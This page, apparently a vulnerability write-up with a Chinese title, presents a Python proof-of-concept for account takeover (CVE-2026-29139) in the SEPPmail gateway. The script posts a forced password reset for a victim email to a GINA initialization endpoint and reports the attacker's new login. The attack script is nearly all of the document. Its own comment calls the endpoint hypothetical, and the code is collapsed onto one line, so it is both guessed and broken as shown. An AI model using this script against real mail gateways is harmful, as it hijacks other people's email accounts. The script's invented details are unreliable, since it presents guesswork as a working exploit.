CVE-2026-29139 SEPPmail网关账户接管漏洞

import requests # SEPPmail Secure Email Gateway - Account Takeover (CVE-2026-29139) PoC # Description: Abuses GINA account initialization to reset victim password. # Usage: python3 poc.py <target_url> <victim_email> target_url = "https://<target_host>/api/gina/init" # Hypothetical endpoint based on vulnerability description victim_email = "[email protected]" new_password = "P@ssw0rd123!" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Content-Type": "application/json", "Accept": "application/json" } # Payload to exploit the initialization flaw # This simulates the abuse of the GINA initialization logic payload = { "action": "initialize_account", "email": victim_email, "force_reset": True, "new_password": new_password } try: print(f"[*] Attempting to reset password for {victim_email}...") response = requests.post(target_url, json=payload, headers=headers, verify=False, timeout=10) if response.status_code == 200: print(f"[+] Success! Password for {victim_email} has been reset to: {new_password}") print(f"[+] You can now log in using the new password.") else: print(f"[-] Failed. Status code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[!] Error: {e}")